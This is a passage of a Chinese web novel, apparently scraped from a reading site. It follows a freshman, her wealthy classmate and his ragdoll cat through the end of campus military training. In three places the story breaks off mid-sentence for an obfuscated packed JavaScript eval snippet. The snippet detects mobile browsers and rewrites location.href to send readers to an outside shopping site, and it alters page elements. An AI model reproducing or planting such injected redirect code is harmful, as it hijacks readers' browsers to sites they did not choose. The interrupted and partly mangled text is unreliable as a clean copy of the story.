俞惟叙接过学生卡:“新卡套?” 祝岁祯没好气道:“对啊,旧的不是被你给打劫了吗。扔什么地方了?” 他挑眉:“怎么可能扔了,我在用呢。你这啥呀,灰秃秃的,跟公司工作证一样。” 她不服了:“灰秃秃?这可是莫兰迪色系北欧极简风好吗,最重要的是才两块钱包邮。” 俞惟叙大无语:“亏你想得出这么多词儿。哎你适合去我家干销售,给你个总监当当。” 祝岁祯瞪大眼睛:“真的?立字据。毕业了我就拿着字据,去你们公司兑现。” 俞惟叙点头:“没问题,到时候我带着员工,夹道欢迎祝总新官上任。” 祝岁祯笑着说:“不错不错,还没毕业呢就把工作给落实了,虽然不知道你家是干什么的。” 俞惟叙愣了一下,他以为自家公司的名字已经传开了,前两天还有个同学跟他说,想去他家实习。 “你还不知道?” “你说过吗?不记得你有说过。”她其实还蛮好奇,只是不好意思打听。 俞惟叙:“手机给我。” 祝岁祯解锁,他接过后在浏览器搜索“观鱼”两个字,又还给她。 祝岁祯饶有兴趣地仔细看着百科。 公司主营高端家具,注册资本大几千万,在北上广和海外都有办公地点,北京广东有厂房仓库。注册许多技术产权专利、获得了各种各样的荣誉、与高校展开合作…… “哇……你家……厉害呀……” 俞惟叙云淡风轻道:“是我妈厉害,这公司是她一手办起来的。” 祝岁祯又低下头,看到这个公司的大boss名叫关理之,她指着名字给俞惟叙看,还没问出口,俞惟叙直接说:“对,我妈。” 祝岁祯点开照片,只看了一眼就笑出来:“好像啊!” “当然,亲生的。” “你家就你一个吗?” “还有个妹妹。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313085|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妹妹?有照片吗?想看。” 祝岁祯面露期待,心想俞惟叙这么帅,妈妈也漂亮,妹妹必然是大美女。 俞惟叙亮出了他的锁屏。 祝岁祯:…… “我妹,叫之之,好看吗?” 祝岁祯叹了口气,淡淡回他:“好看,很仙。但是有那种、从生物学的角度、我们一般称之为人类的妹妹吗?” “没有。”他收回手机,“你家里也就你一个?” “对。”祝岁祯补充道,“没有宠物。” 这时俞惟叙手机显示来电。 关理之:“什么动静,这么吵?” 俞惟叙:“军训合唱比赛。” 关理之:“哦。把之之接去你学校吧,两三天就行。我要去广东的厂子看批货,你爸今天去青海那边的观测基地了。” 俞惟叙:“陈姨还没回来?” 关理之:“嗯,我俩最近都不在家,就给她又放几天假。” 俞惟叙:“行。我一会儿去。” 挂了电话,俞惟叙指着锁屏对祝岁祯说:“它要来了。” 梦梦刚好抬头看见,凑过来惊呼:“天呐!这是你的猫吗!好漂亮好可爱!” 祝岁祯问:“它要来?怎么来?来这儿?大礼堂?” 梦梦一听,更惊讶了:“啥?” 俞惟叙解释:“不是,我爸妈都要出差家里没人,得去把猫接到我那儿。” 梦梦担忧道:“它出过门吗?会不会应激啊。” “没事,家里阿姨有时候带它出去遛遛,适应得挺好。” 他看了眼锁屏:“不行,我现在就得走。咱一会儿还有安排吗?” 梦梦和祝岁祯一起摇头。 “那我先撤了,拜。” 俞惟叙提前溜了,梦梦一脸痴汉:“天呐,帅哥家的猫也如此貌美,好想摸啊呜呜呜……我第一次见到这么好看的布偶!” 祝岁祯对猫算是一般喜欢吧,不过俞惟叙的锁屏猫确实太漂亮了,尤其是那双大眼睛,蓝得惊人,照片精致得像是ai合成。 “哎呀……刚才应该问问他,能不能去看看猫的!”梦梦后悔不迭地抱怨着。 祝岁祯不知道这有什么难的:“你直接给他发信息呗,看他怎么说。” “我没有他好友,前几天发了申请,他没通过。” 祝岁祯拿出手机:“我有。” 梦梦惊讶地吸了一口气:“你加他他就通过了?!果然只有美女才能……” “哎哎哎不是,你知道的呀,报到那天为了换校园卡才加的。” 祝岁祯搜索出他的名字,问梦梦: “怎么说?就说你想看看他家的猫,问他什么时候回学校?”祝岁祯点击输入框,斟词酌句。 “对对,哎呀今天我要是摸不到,就睡不着觉!浑身难受!暴毙而亡!” 祝岁祯:【哈喽,梦梦说想看你家猫猫,可以不?你大概什么时候能回学校?】 她发完告诉梦梦:“OK,发了,等回复吧。” 其实她心里打鼓,不知道俞惟叙会不会理她。 不一会儿,屏幕上多了条消息。 俞惟叙:【可能要八点半之后吧,我到了告诉你】 祝岁祯:【好的】 八点二十分,所有学院都唱完了,评委们开始打分。这时俞惟叙发来了消息。 【20分钟后到。19号楼】 祝岁祯回他个“OK”的表情。 经过统计,主持人公布名次。 金融学院居然是第三名!明明只是很朴素地唱歌,别的学院还搞个小朗诵、舞蹈什么的。 反正导员上去拿奖状的时候,真是肉眼可见的开心,嘴巴咧到后脑勺去了。 主持人刚宣布散场,梦梦蹭地一下起来,拉着祝岁祯就跑。好在她俩在最后一排走廊,很快就出去了。 “啊啊啊猫猫,我滴修猫猫~” 祝岁祯无奈地跟着她跑。 按照地图指示,她们来到19号楼下。家属区安安静静,偶尔才有一两个人走过。单元门有门禁,她俩也不知道俞惟叙具体住哪里,祝岁祯只好再发消息。 祝岁祯:【我们到楼下了】 没回复。 “不会还没回来吧?”梦梦仰头看了眼,楼上好多家都亮着灯,二楼还传出家长训小孩写作业的声音。 这时祝岁祯的手机突然“叮叮咚咚”响起铃声,俞惟叙打来语音电话。 俞惟叙:“我在开车,一分钟到,稍等。” 梦梦兴奋地说:“哦耶哦耶~” 祝岁祯:“好的好的。” 话筒里俞惟叙轻笑了一声。 祝岁祯和梦梦还没聊几句,家属楼西边马路缓缓驶来一辆车,慢慢停进路旁两辆车之间的车位。 俞惟叙下车,对她们招了招手。 梦梦拉着祝岁祯过去,看清车标的时候震惊了: “哦莫!法拉利!!!” 12. 第十二章 法拉利?!这就是传说中的法拉利啊! 祝岁祯家那种小城市,开宝马奥迪奔驰的多,这些是她认识的比较高端的牌子,再贵她就不认得了,顶多听过。 路灯下,银灰色的车子线条流畅有型,比旁边两辆低了许多,即使没见识如祝岁祯,也能看出这车不是凡品。 俞惟叙绕到她们这边打开车门,一个笼子出现在座椅上。 梦梦开心地搓手:“我嘞个去,人家富二代的法拉利副驾是长腿美女,咱们俞大帅哥的副驾是长毛美喵。” 俞惟叙往祝岁祯那边站了站,让梦梦凑过去看猫。 “等很久了吗?”他低声问祝岁祯。 “没有,我们也刚过来。咱院得了第三。” 俞惟叙挑了挑眉,显然也没想到:“Nice。” “好可爱的猫咪!好帅的车!”梦梦羡慕地说。 “来来来,给你坐。”俞惟叙上前把猫箱拎了出来。 “哇!嘿嘿,谢谢啦!能拍照嘛?”梦梦坐进去,把手机给祝岁祯。 “拍吧。” 祝岁祯又当起了摄影师。 梦梦出来后也让祝岁祯坐,祝岁祯怕不小心碰坏了什么地方,还得赔钱,赶紧拒绝。 俞惟叙拎着猫,祝岁祯和梦梦帮忙拿猫咪的用品,三人上楼。 梦梦问:“俞大帅哥,你这车多少钱订的?是礼物之类的吗?” 俞惟叙想了想:“多少钱……不记得了,我妈送我的成人礼,前年订的,结果上个月才提车。” 梦梦嘟囔着:“唉,我爸啥时候能努努力,给我也买一辆。再不济,保时捷也行啊!” 祝岁祯默默走在最后没说话。豪车,好遥远的话题。 进门,开灯。别看外面房龄老,里面装修非常好。全屋智能,家具摆设都相当有设计感。 看来这些应该就是他之前说的配货了。 但是梦梦军训在前排站着,不知道眼前都是爱马仕,她进来时呆了一下: “卧了个……鱼仔,你家这品味真绝了。兄弟,老实交代,你是不是gay?” 俞惟叙没好气地瞪她:“我一会儿放猫出来咬你啊!咱爷们儿钢铁直男!” 祝岁祯憋笑憋得很辛苦。 他把猫咪放出来,指了指厨房门口的位置:“随便坐,那儿冰箱想喝什么自己拿,甭客气。” “好嘞!”梦梦也不把自己当外人,打开冰箱门,“祯祯,你喝什么?诶!有你爱喝的那个椰子水!” 俞惟叙立刻抬头看向梦梦拿出来的瓶子,默默记下。 里面的饮料矿泉水都是家政阿姨给他放的,他也没注意过都有什么。 祝岁祯想着应该很快就要走,不用喝东西,可梦梦已经拿过来给她了。 她接过来,给两人都道了谢。 猫咪从小笼子里解脱,出来第一件事就是跳上桌子,前爪一伸,漫不经心地踢下去了个遥控器。 然后微微扬了扬高贵的头,接着往前走。 俞惟叙迅速伸手,挡住了第二位受害者,一个灰色马赛克花纹的马克杯。 “欠儿姐!又开始了?”俞惟叙指着它警告。 猫咪耳朵压了下来,不高兴地低声呜呜了一阵,伸出爪子以极快的速度、极高的频率,噼里啪啦地打俞惟叙怼到它面前的那根手指。 梦梦一边喝可乐,一边称赞它:“哎哟,宝贝儿真有劲。” 俞惟叙颇费了一番功夫,才把猫制服。打开电视播一个动画片,猫立马乖乖坐好,用长长的、毛茸茸的大尾巴卷到前面围住爪爪。 “终于老实了……这猫就爱看动画片。” 趁猫安静坐着,梦梦伸出罪恶的魔爪花式撸猫,简直像上瘾了一样。 祝岁祯歪着身子,仔细观察着这位武力值爆表的冰山美女。 侧面看它的眼睛像半个湛蓝的水晶珠,小脑袋圆圆的,小翘鼻粉粉的,白色胡须长长的,她有点懂为什么梦梦这么想来撸猫了。 祝岁祯看猫,俞惟叙看她。她不经意间和他对视,两人都莫名尴尬地移开眼。 她坐直后,突然想起来:“你这猫,一天看多久电视?眼睛不会看坏吧。” 俞惟叙思索道:“应该……不会,据说猫本来就是近视眼。” “啊?”祝岁祯又看了看小猫,难以相信。 她小心地伸手想摸它的耳朵,每次都是差点儿要摸到了,就被它以各种刁钻的角度躲开。这耳朵好像有什么感应系统一样。 她又摸了摸它的身子,软乎乎的,毛茸茸的。 可爱。 女生们口中的男神,俞惟叙,此时半蹲着,把带来的猫粮、玩具、猫窝,一个个拿出来摆在客厅角落。 不像是哥哥,简直就是个奶爸。 “呃……忘了带猫砂……现在叫个外卖应该来得及。”俞惟叙拿起手机,搜索附近的商超便利店。 更像奶爸了。 “很有经验啊,平时都是你在照顾猫咪吗?”梦梦问他。 俞惟叙头也不抬地回答:“不是特别有经验,家政阿姨负责养它,我只学了一点儿相关知识。” 梦梦从猫咪的美色中暂时找回了一丝理智,坐回沙发上:“养得挺好的,我第一次看见品相这么好的布偶。” 俞惟叙回她:“它爹妈都是赛级猫。” 梦梦咋舌:“怪不得,得个几万朝上吧。” 俞惟叙:“对,差不多。” 祝岁祯觉得他们俩好像在说什么黑话,完全听不懂。 趁俞惟叙不注意,祝岁祯无声地用口型提醒梦梦:“加好友。” 梦梦这才想起刚才在楼下聊的,要加俞惟叙来着,差点儿忘了,暗暗给她比了个大拇指。 “俞大帅哥,那啥,之前加你好友为什么不通过呀……” 俞惟叙愣了下:“你加过我?什么时候?” “军训开始之后两、三天?忘了是哪天了。” 俞惟叙晃了晃手机:“那时候加我的太多了,我直接都不看。抱歉,我加你吧。” “嘿嘿,好呀好呀~” 梦梦开心地和祝岁祯交换了个眼神。 她通过了申请,美滋滋地跟俞惟叙说:“多发朋友圈哈,就爱看你们有钱人的生活。” 俞惟叙有点为难:“我……尽量。之前一年也发不了几次。” 帮梦梦拍了照片和撸猫视频当素材,两个女生赶紧回宿舍洗漱,明天就是军训检阅,要早起赶在正式开始前排练。 睡前,祝岁祯躺在床上,拿手机继续搜俞惟叙家的公司。 他家最开始做户外便携折叠桌椅之类的,深受钓鱼佬和常去露营的小资家庭喜爱。然后转型做高端家具,因为积累了很多有消费能力的老用户,转型之路比较顺利,口碑不错。 根据网上的介绍,观鱼似乎还是个在家居行业内排名很靠前的大企业。 她开始认真思考,毕业能不能靠着和俞惟叙这淡如水的同学情,在他家公司谋个差事。销售总监当然是开玩笑啦,人家敢给,她还不敢接呢。 薪资差不多的岗位就行,她肯吃苦、肯钻研,只要领导给机会,她相信她能慢慢升职,工资也可以一步步涨。 但是会不会也有别的同学想到这点啊……一个公司录用名额就那些,俞惟叙肯定跟男生关系更好,有岗位也会优先给男同学吧? 算了,四年呢,走一步看一步吧,他家不行就找别家。M大虽然不是顶级985,但多少也有个招牌在,简历起码好看些。 带着对未来的担忧,她进入了梦乡。 今天的梦真是非同寻常。 她军训走完分列式,主席台上的团长直接宣布全校毕业。所有人都着急在找工作,祝岁祯正头疼,一个身材曼妙的美女向她走来。 这美女长得很别致,冰蓝色的眼珠,雪白的皮肤,连头发都是雪白的。讲着一口流利的美式英语,祝岁祯居然听得懂,也是奇了。 美女说非常欣赏祝岁祯,决定在观鱼给她一份待遇尚可的工作: 工资每月十万块,还分一套公司旁边的小两居给她,虽然小,但全屋智能,希望她不要嫌弃。她每天上班只需要打个卡、喝喝椰子水、看看报纸就可以了。 祝岁祯开心得要死,连忙道谢。 这时旁边突然杀出个俞惟叙说不行,工资每月只能给五千,房子也不可以送,只能让她住阳台。 美女愤怒了,和俞惟叙一个说美式英语、一个说英式英语,俩人吵得不可开交,最后竟然演变成了兄妹俩争夺观鱼的继承权! 这下彻底撕破脸,两人打了起来,祝岁祯十分着急,连忙阻止。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313086|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他俩压根不听,手里瞬间变出了武器,一个扛着激光大炮狂轰,一个用巨无霸机关枪突突。 大战进入白热化阶段,祝岁祯仰望着两人在天上飞来飞去、炸来炸去,束手无策。 只见以学院路地区为中心,炮弹四处飞射,把海淀区炸出一个又一个学校那么大的半球形深坑。乌云密布、天地为之变色。 就在这紧要关头,乌云中出现一只航空母舰大小的锦鲤,上面站着一位穿着西装、波浪卷发、英姿飒爽的女强人,她冷冷一笑: “老娘的公司,什么时候轮得到你们两个指手画脚?” 随后她操控锦鲤的尾巴,轻甩两下,兄妹俩就被扔进一辆法拉利超跑里面。女强人脚踩恨天高,稳稳地站在车顶,法拉利如离弦之箭飞驰不见。 这时军训的团长宣布,祝岁祯因为没有找到工作,有辱M大金院的形象,立刻枪毙。 她一下子醒了。 周围漆黑,传来不知道是谁的磨牙声。她迷迷糊糊地拿起手机,上面显示才两点半,她眼睛一闭又睡了过去。 -.- 爹啊……娘欸……困死了…… 今天要比平时早起半个小时,但睡眠是个邪门的事,有时候很晚睡,或者很早起,状态还不错;但有的时候只是和平时差了半小时,完蛋,第二天上午废了。 不过好在今天上午军训就结束了,快乐的时光就要到来,所以大家多少有点亢奋,冲抵了早起的痛苦。 到集合处,祝岁祯见俞惟叙也有点无精打采的。 注意到祝岁祯的目光,俞惟叙吐槽:“昨晚你们走了以后,我收拾了好久,把易碎品都锁进柜子里,就怕猫拆家。” 祝岁祯想起昨晚猫咪扔遥控器的场景,忍不住想笑:“它在你家,呃,你爸妈的家里也这样吗?” “刚抱回家那一个月手特别欠,杯子花瓶不知道碎了多少,那么点儿个小东西又不能揍它。现在好多了,昨晚纯属故意气我的。” 祝岁祯脑子里突然闪现做过的梦,两个人在天上飞来飞去对战的狂暴场面。 她说:“我以为养猫,给口吃的就完事了,没想到有这么多要注意的……” 俞惟叙和她一起朝队伍走去:“那可不,而且每只猫的性格都不一样,且难搞呢,又没法儿交流,干着急。” 连队集合完毕,绕着足球场跑道练了一圈,就差不多到汇演检阅的时间了。 所有学院先集中到草坪上听领导讲话、军训代表演讲……乱七八糟的流程过去之后,各连队去跑道排队形。 大黄所在的仪仗队率先出场,有扛旗的、有端枪的、有执剑的,笔直板正的礼服那真叫一帅气! 其他同学穿的粗糙劣质迷彩军训服,跟人家一比,简直就是仆人和皇室的差别。 仪仗队走完,紧接着第一连队接受检阅,走过主席台之后绕足球场半圈,回到最开始集合听校领导讲话的位置。 教官和导员们苦口婆心地给同学们讲注意事项,前面讲完了来后面讲,生怕哪个没听到。 等着等着,该金融学院的连队出场了。 跟着教官的口号,大家齐步来到准备区,原地踏步。等前面那个学院走完之后,教官卡准广播里的音乐节奏,大声喊口号:“齐步——走!” 祝岁祯原本有些紧张,但看向队伍最前方,那里有连队旗帜冒出来的尖尖,联想到三个打头阵的护旗手压力该有多大,她瞬间释然了。 俞惟叙你也加油哇! 护旗手即将来到主席台中心位的时候,喊口号的同学声音洪亮饱满:“向右——看!” 大家齐喊:“一——二!” 连队所有人在同一刻,齐步换正步。祝岁祯头唰地一下转向右侧,眼睛盯着主席台的校领导。 主席台响起掌声。 终于,最关键的一段走了过去,接下来正步换齐步,现在已经没有领导会注意他们了。 呼,所有人都松了口气。 回到最开始听校领导讲话的位置,半个小时后,军训团长宣布:这一届本科新生军训工作圆满结束。 拍完连队合照,同学们呼朋唤友准备去玩耍。 “走咯~” “哥几个出去浪啊!嗨起来!” “教官再见!” 大学生活,正式开始。 13. 第十三章 大家陆续离开这个折磨了自己两周的监狱,梦梦飞奔到已经没人的主席台,俯拍记录同学们出狱的时刻。 拍完下来,和祝岁祯边走边聊:“我本来觉得咱学校招的人够多了,每天吃饭都得排队。昨天刚听说其他省份同档次学校,录取人数是咱的好几倍,上万的都有!” 梦梦一边检查录好的视频一边说:“这还只是985,再加上211,嚯,每年毕业生,光92两档学校都得多少啊,怪不得听说现在找工作越来越难了呢。” 祝岁祯也愁:“存量大,还在源源不断新增,学历真是越来越不值钱了。” 梦梦叹了口气:“不管了,毕业先读研,找工作的事再说吧,大不了回家去我爸公司啃老。你呢?有啥想法吗?” 祝岁祯摇头:“不知道欸,我还没思考过。但不太想读研,要是能找到好工作赶紧就业。读研又得两三年,不想再花钱了。” “花钱?花什么钱?”俞惟叙突然从身后出现。 梦梦回他:“我们在规划未来,像你这样的有钱人就不用参与了,大四直接继承家业就行。” 俞惟叙身高腿长,走在祝岁祯这边:“那可不一定,说不准我有自己的爱好呢。” 远文追了过来:“原来你俩在这儿。” “哎?我以为你跟小羊一起走了呢!”祝岁祯笑道。 “她和大黄玩去了。你们回宿舍吗?”远文加入了队伍。 梦梦说:“对,一起吧。” “不了,我要去外面的大超市,看看有没有冰袖卖,下午去故宫玩。”远文指了指东北门的方向。 梦梦惊讶道:“故宫!我也想去!” 远文邪魅一笑:“这几个月故宫有两个大型展,票得提前好几天抢,你今天应该去不了。” 梦梦失望地“啊”了一声:“没事,我和祯祯约了明天去颐和园,你要去不?” 远文想了想:“明天我准备看看兼职来着,不去了。” “哦……”梦梦却跟她一起走:“你要去超市?我也去,我也有想买的。” 她们回头看祝岁祯:“你去吗?” 祝岁祯摇头,只想赶快回宿舍吹空调。 四人分开,梦梦和远文往左边去东北门外的超市,祝岁祯和俞惟叙往西边走。 本科宿舍区在学校里偏西南边,家属楼又在宿舍的西边,两人顺路。 路边高大的梧桐遮住日光影影绰绰,银杏树在微风中挥舞绿意盎然的小扇子,两人就这样漫步在校园的林荫之下,不必像军训这两周似的匆匆忙忙。 俞惟叙问她:“下午去哪儿玩?” 祝岁祯说:“没什么打算。作为北京土著,你有什么推荐吗?好玩的好吃的。” 俞惟叙想了想:“就半天的话,够呛,大的景点都玩不了多久。” 祝岁祯倒也有一点感触,毕竟她前两天和爸妈去过圆明园。 “比如刚才周远文说的故宫,最好准备一天吧。早点儿出发,从天安门沿着轴线各个宫都看一遍,包括展出之类的,逛完从后门过马路,爬景山。这一整套的流程差不多得一天。” 祝岁祯在心里默默记下。 俞惟叙继续说:“建议你去个近一点的小景点,鸟巢奥森这种,不用深度游。大的别去,四五点就关门逛不了太久” 祝岁祯点头:“是啊,如果再叠加上周六日节假日,需要限流排队……时间更不可控了。” 她突然发现路上迎面走来的人,好多都在打量他俩。 “咱学校今天人好多啊,什么日子?”祝岁祯见这些人应该也是学生,但没穿军训服。 俞惟叙说:“这两天好像是返校日,高年级的会回来,下周一开学。” “哦……” 经过图书馆,大食堂出现在面前,几个穿着白色厨师服的食堂师傅正在合力拉着一个推车,从食堂侧门运送食材进去。 “对了,你下午准备去哪里玩吗?”祝岁祯没话找话。 俞惟叙说:“不去哪儿玩,回我姥爷家。” “哦?你姥爷家在哪儿?” “玉渊潭旁边。” “那是什么地方?有好玩的景点吗?” “公园,旁边是钓鱼台宾馆。要去玩的话,春秋两季还行。春天玉渊潭有很多樱花,秋天钓鱼台东门有个银杏大道。” 祝岁祯迟疑道:“钓鱼台?这个名字好耳熟,总觉得在什么地方听过?” 俞惟叙回她:“钓鱼台国宾馆,偶尔接待外宾,承办一些重要的会议,一般人进不去。早些年好像预约就能住来着,现在不对外了。” 她掏出手机打开备忘录:“等下,我记一下,秋天银杏季的时候我要去看看。” 俞惟叙提醒她:“最好趁没课的工作日去,一放假游客爆满。” 祝岁祯记好之后,抬头看路,前面就是宿舍区了。突然,一个熟人出现在视线中。 她难得主动跟人打招呼:“嗨~学长好哇~” 辛君正有点不耐烦地看手机,听到声音立刻抬头,脸上绽开笑容:“嗨!学妹!” 但看清她旁边的人是俞惟叙后,神情微微一滞。 “你俩走在一起,是……?”辛君一脸看好戏的样子。 祝岁祯无奈地澄清:“就是顺路,而已,不要乱说。” “哦……好吧。” 俞惟叙面无表情地看着两人互动,发现辛君听到祝岁祯解释后,那表情根本不是没听到八卦的失望——竟然有些松了口气似的。 祝岁祯特别开心地笑着跟辛君说:“学长,我们军训结束了哦!” 辛君的神情中,带了些祝岁祯没发现的宠溺:“恭喜恭喜,终于熬过来了,解放了哈。” 祝岁祯猛点头,太痛苦了这一天天的。 “哎?学长你干嘛去?” 他没那么高兴了,支吾解释:“哦,我……去南站接我女朋友,她今天回来,快到站了。” 祝岁祯也不多耽误人家:“哈哈,学长辛苦啦,又要忙学生会还要照顾学姐,那我先走啦。” 辛君摇头:“没事,不忙。这不要开学了么,你有什么不太懂的要问的,尽管来找我。” 祝岁祯赶紧道谢。 “哦对了,你要不要进媒宣部,校级的,不是你们金院的。今年我管媒宣部招新,你来吧,我保准你进。” 祝岁祯有点犹豫了,她之前本来想着什么都不参加呢,但后来听说去学生会能加学分。 “嗯……我会仔细考虑的。”她对辛君笑笑,没把话说死。 “一定要来啊!” 跟辛君道了别,两人继续往宿舍走,她没发现俞惟叙的表情很冷。 快到学一宿舍了,祝岁祯准备往左走跟他分开,俞惟叙却跟她一起左转,没直着往西走。 “嗯?你不回去吗?”祝岁祯问他。 俞惟叙指了指宿舍前面的墙角:“聊聊?” 祝岁祯迷茫地跟着他过去了。 俞惟叙站定,相当严肃地看着她:“你听到了吧?那个人说自己有女朋友。” 祝岁祯眨巴了几下眼,思考着回他:“对啊,我听到了。” “那就别对他笑得这么甜。” 祝岁祯:??? 他一本正经地教育她:“他会以为你对他有意思。” “我没笑得多……” “你有。你刚才对他笑得特别灿烂,我可没见过你对哪个男生笑成这样。” 祝岁祯觉得他简直莫名其妙:“今天军训终于结束了,我开心,不行吗?” “有那么开心吗?咱学校的军训强度根本不算什么,无非就是热一点儿。” 祝岁祯皱眉看他:“不是谁都像你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313087|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样结实,麻烦你体谅一下好吗?我没怎么运动过。” 俞惟叙这才发现自己刚才说那话太直男了。 他想换个角度切入,但因为不常和女生打交道,话却说得更糟糕: “你那天哭那么伤心,我以为你起码得恢复个十天半月的。这么快就好了?” 祝岁祯愣住,没料到俞惟叙会跟她提这茬……他明明知道她有多难过。 俞惟叙眼睁睁地看着祝岁祯眼圈红了。 可她努力攥拳,平复心情强忍了下来:“那我这些天表现得不合格喽?我得天天以泪洗面才正常?” “倒也不是……”他尴尬找补道。 “那你要我怎样?!” “我的意思是说……你如果想通过新恋情来忘记过去,OK,但是也挑一挑人。既然知道了这个学长有女朋友,就别跟他多牵扯,尤其是不要去他那个部门。” 祝岁祯有点反应不过来。 他解释道:“我见过女生因为男生的事撕扯打架,挺麻烦的,不希望你被纠缠进去。或许你无意,但别人有心,如果人家女朋友吃醋,找你闹怎么办?” 她无奈道:“不至于吧?我没那个想法。” “你没想法,这学长可不一定。你那T大的同学怎么回事?这么快就忘了?” 祝岁祯心虚地反驳:“我以为他有正经事找我……” “那谁又知道,你这个学长,会不会干类似的事呢?” 祝岁祯没吭声,反正她觉得不会。她又没说什么暧昧撩拨的话,人家学长也有女朋友。 俞惟叙手插裤兜瞧着她,就知道她不服。 “你那T大的同学,后来又找你麻烦了吗?” “没有,也没给我发过消息。” 俞惟叙听明白她话里意思了,没好气道:“你别告诉我,你还加着他好友?” 祝岁祯抬头看他:“有必要删掉吗?老同学欸。” 俞惟叙简直被她的天真气到:“告白不成就用强,这种人品的同学你还不删?留着写论文致谢吗?” 她嘟囔着:“我好友里的高中同学真没几个了……” “删——掉——快点。咱学校这么多人,还不够你交朋友吗?别让我觉得那天帮你解围,是我一厢情愿白帮忙了。” 他继续施压,作势拿出手机:“你这样我走了怎么放心?不然我告诉会爷吧,让他看着你……” 祝岁祯惊慌了:“哎哎别!我删!我马上删,行了吗?” 她最怕麻烦别人,尤其是导员。 上次从校医院回来之后连着几天,会爷到足球场“视察”学院军训的时候,都特意来问问她的情况,生怕她出什么问题导致学院和学校背锅。 所以她一直努力装作已经走出阴霾,为了让导员放心,别再天天跟查病房一样地关注她。 而俞惟叙很敏锐地发现了这一点,简直拿捏住了她的命脉。 在他的监视下,祝岁祯打开软件往下滑,找到申越的头像,点了几下,“删除联系人”的红色选项出现在屏幕上。 “啧,磨磨蹭蹭的……” 她赶紧按下选项,拿给他看:“看见没?删啦。” “嗯,”俞大少爷这才满意,“那个学长……” “知道了知道了,少说话,表情严肃,公事公办,时刻铭记他有女朋友,千万不能让人觉得我在当小三、插足别人的感情。” “你要真想谈恋爱,一定擦亮眼睛……” “我不谈!我这四年都不谈!我从现在开始对男的没兴趣了行不,我PTSD……哎哟少爷您快回吧,拜拜!” 祝岁祯急忙进宿舍,回想着最开始是在说什么来着?怎么会跟他聊成这样…… 她现在一点儿也不想去他家公司了,指不定多少事呢。 俞惟叙却心情大好地转身去家属楼。 14. 第十四章 祝岁祯回到宿舍换了衣服,第一件事是躺下,什么也不想干。 身累心累。 她闭了会儿眼,在家庭群里发消息,说自己军训结束了。爸妈在上班,等他们中午休息就能看到。 这时学院群弹出一条消息。 会爷:【今天下午4点,学一宿舍楼门口领教材,来不了的同学找人代领】 祝岁祯刚想在宿舍群里说她会帮大家领书,梦梦和远文就回来了。 她把俞惟叙的话告诉远文,说想多玩会儿就得早点走。远文一听,换衣服后直接去故宫,连饭都不吃了。 祝岁祯和梦梦去食堂。 “我下午也不出去了,把这两天拍的素材剪一剪,可以做个开学和军训的vlog。然后再整理一下之前去签售拍的照片视频,清一清内存卡和硬盘。” 祝岁祯来了兴趣:“嘿嘿,我在你旁边看看你是怎么剪视频的。” “行,来吧。反正我的马甲也保不住了。” 家庭群有新消息,祝岁祯点开看。 妈妈:【好,宝贝闺女辛苦了。中午吃什么?】 祯祯:【不知道,一会儿去食堂看看】 妈妈:【嗯。对了,咱家楼上那个何希簏,昨晚我在楼道里碰见他了。他高三刚开学,说想借你高中的资料】 祝岁祯都快想不起来那个男生长什么样子了,搬来这个小区也就一年,只见过几次,印象中是个高高瘦瘦的小帅弟。 祯祯:【让他自己去阳台挑。你们帮我看看书里面有没有夹东西】 祝岁祯和梦梦在食堂吃饭的时候,手机提示有个好友申请。 头像是一个黑白动漫男生的侧脸,备注写着: 【祯祯姐,我是何希簏】 她通过申请。 何希簏:【祯祯姐,打扰你了,忙吗?】 祝岁祯:【不忙,在吃饭】 何希簏:【哦哦,姐你先吃饭吧,等你有空了再聊就行】 祝岁祯回他个“加油”的表情。 下午,梦梦从柜子里拿出来她16寸的苹果电脑,是很高的配置,花了三万多。 祝岁祯听了价格后深吸一口气:“哈,没事,你嘛,有钱,正常。” 梦梦抱着手臂,看着桌子上的mbp思考:“可是上次我剪视频的时候,还是觉得屏幕有点小,要不然我买个外接屏吧……” 于是梦梦轻轻动了动发财的小手,咔嚓花出去一万多。 很好,这是个只有穷人受伤的世界,祝岁祯想抱着远文哭一哭。 接下来就是梦梦大展身手的时候了。打开Final Cut Pro软件,导入各种图片视频,分类建立资源库、事件、项目。屏幕上出现了四五个工作区域。 她和祝岁祯商量着怎么安排视频的叙事内容和顺序。祝岁祯之前看vlog的时候完全没想到,幕后的工作居然这么复杂和辛苦。 然后拖素材进时间轴,设置效果、背景音乐、字幕等等,裁剪精细得仿佛在做手术。梦梦还很有巧思地把转场设置在音乐卡点的地方,预览效果非常好。 视频剪完、导出、上传到两个平台上,她转了链接到自己追星的号里,推荐粉丝们去看。 